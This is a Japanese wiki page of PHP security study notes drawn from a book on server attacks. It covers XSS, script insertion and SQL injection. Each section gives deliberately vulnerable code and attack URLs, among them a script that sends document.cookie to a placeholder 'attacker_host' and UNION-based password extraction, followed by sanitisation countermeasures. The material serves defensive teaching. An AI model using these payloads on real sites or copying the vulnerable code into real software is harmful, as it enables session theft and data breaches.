**参考/出典 [#de4aa518]

[[PHPサーバーテロの技法>http://www.amazon.co.jp/gp/product/4883374718/503-3339577-1535166?v=glance&n=465392&s=gateway]]

**このドキュメントは? [#e34e6804]

[[PHPサーバーテロの技法>http://www.amazon.co.jp/gp/product/4883374718/503-3339577-1535166?v=glance&n=465392&s=gateway]]
で進地が得た知見を整理したもの。元々は社内勉強会で利用する目的だったが、勉強会が流れに流れてしまったため勉強会で取り上げる時期を失してしまった・・orz~
捨て置くのももったいないので、sandboxに貼り付けて公開する。

**14の攻撃方法と代表的な対処 [#j06267aa]

***XSS(クロス・サイト・スクリプティング) [#d608bd73]
  
リンクを踏ませてJavaScriptを実行させる

攻撃目標コード:

      <?php
          echo $_GET['id'];
      ?>

下記のようなリンクをメールなどで送って踏ませる
 http://victim_host/index.php?id=<script>document.location='http://attacker_host/?'+document.cookie;</script>

attacker_hostのアクセスログを確認してクッキー情報を得ることが可能

対策:
      
文字列を出力する前にhtmlspecialchars(変数, ENT_QUOTES);をかける

      <?php
          echo htmlspecialchars($_GET['id'], ENT_QUOTES);
      ?>

属性値に組み込む場合はさらにjavascript:から始まっていないことを確認する必要がある。加えて、IEのバグで、javascript:という文字列の間に\0,\t,\r,\n等のコントロールコードが入っていても、JavaScriptの開始だとみなすため、単純なブラックリスト法では不十分
      
以上から、属性値に組み込む場合は下記のような専用サニタイズが有効
 preg_replace( '/javascript/i', '', preg_replace( '/[\x00-\x20\x22\x27]/', '', $url ) );

$_SERVER['PHP_SELF']のようなSERVER変数にもJavaScriptを埋め込めることにも注意。

 <form method="POST" action="<?php echo $_SERVER['PHP_SELF']; ?>">

というコードで、$_SERVER['PHP_SELF']に
 http://victim_host/index.php/" onmouseover="危険なJavaScript"/
を埋め込み可能

例) http://victim_host/index.php/%22%20onmouseover=%22javascript:alert%28%27xss%27%29;
      
以上から、自分自身にPOSTする場合はaction属性を空にするのが吉。GETを渡したい場合はaction="?id=1"などすればOK。またはSCRIPT_FILENAMEを利用する。

***Script Insertion(クライアント・サイド・スクリプト埋め込み攻撃) [#b666b319]
  
攻撃目標コード:

下記の処理を行っているコードが攻撃目標になる

+RSS/ATOMで取得したヘッドライン情報をそのままブラウザに出力
+画像などのアップロードを許可し、そのファイルのMIME-TYPEを第三者のブラウザに出力
+画像のアップロードを許可し、画像ファイル内のEXIFを第三者のブラウザに出力
+外部またはアップロードされた任意のFlashを貼り付け可能として、第三者のブラウザにもFlashとして実行可能として出力する
+$_SERVER['HTTP_REFERER']などのSERVER変数を、第三者のブラウザに出力
+不特定多数による投稿を許可しながら、投稿・保存されたデータを表示用サニタイズなしに第三者のブラウザに出力

いづれのケースも任意のJavaScriptを実行可能にする可能性あり

:EXIFとは?|デジカメなどで撮った画像に書き込まれた撮影条件などの情報。ここにもJavaScriptを埋め込み可能であることに注意

対策1:出力時サニタイズ
      
出力時にhtmlspecialchars(変数, ENT_QUOTES)でサニタイズする
        
3の場合は
 $exif_data = exif_read_data( $filename );
 echo htmlspecialchars( $exif_data['AnyKey'], ENT_QUOTES );
のようにEXIFをサニタイズする
        
 http://php.data.bg/manual/ja/function.exif-read-data.php

4の場合は任意のswfについてサニタイズの手段がないため、対策としては『そのような設計はしない』のみとなる。

対策2:外部データ受け取り時変換
      
数値しかとらないと判っている変数はintval、doubleval、(int)、(double)等を使う

 $amount = intval( $_POST['amount'] );
 $amount = (int)$_POST['amount'];
 $sum = doubleval( $_POST['sum'] );
 $sum = (double)$_POST['sum'];

文字列型でも、その用途によっては、一部の危険な文字を最初から一切許可しないブラックリスト法が使える
        
 $type = strtr( @$_FILES['upfile']['type'], "\0\r\n<>'\"", "      " );

より文字種を限定できる状況であればホワイトリスト法を利用できる
        
 if ( preg_match( '#[^0-9a-zA-Z./_-]#' , $mypath ) ) exit;
 ※Directory Traversal対策は別途必要

***SQL Injection(データベースへの問い合わせ部分を乗っ取る) [#f120ccbc]
  
攻撃目標コード1:

      <?php
        $result = mysql_query( "SELECT name FROM bbs WHERE id='".$_GET['id']."'", $conn );
        echo htmlspecialchars( mysql_result( $result, 0, 0 ), ENT_QUOTES );
      ?>
      
以下のURLで目標サイトにアクセスする
 http://victim_host/index.php?id=1%27+UNION+SELECT+pass+FROM+bbs+WHERE+id=1/*
 上記では'を%27、スペースを+にエンコードしている
 id=1' UNION SELECT pass FROM bbs WHERE id=1/*

実際に発行されるSQLは以下のようになる
 SELECT name FROM bbs WHERE id='1' UNION SELECT pass FROM bbs WHERE id=1/*'

攻撃目標コード2:

      <?php
          $order4sql = addslashes( $_GET['order'] );
          pg_query( $conn, "SELECT * FROM bbs ORDER BY $order4sql" );
      ?>

以下のURLで目標サイトにアクセスする
 http://victim_host/index.php?order=1;(任意のSQL)
      
PostgreSQLでもSQLiteでも実行可能なあらゆるSQLを発行可能~
※ MySQL(mysql_query()利用時)は複文を許さないが、複雑な条件式を連続的に送信してその反応を調べることでパスワードなどの取得が可能

対策1:リクエスト変数受け取り時変換

intval,doublevar,ブラックリスト法、ホワイトリスト法を利用

対策2:クエリ文生成時エスケープ
      
        $post_body4sql = addslashes( $post_body );
        mysql_query( "INSERT INTO bbs SET post_body='$post_body4sql'", $conn );

攻撃目標コード2の場合は以上の対策では不充分。SQL文構成要素は配列として内部にもっておき、その配列のキーをGET変数で受け渡すべき

        $order_column_list = array('name', 'id', 'address desc');
        $order4sql = $order_column_list[(int)$_GET['order']];
        pg_query( $conn, "SELECT * FROM bbs ORDER BY $order4sql" );


トップ   新規 一覧 単語検索 最終更新   ヘルプ   最終更新のRSS

アークウェブのサービスやソリューションはこちら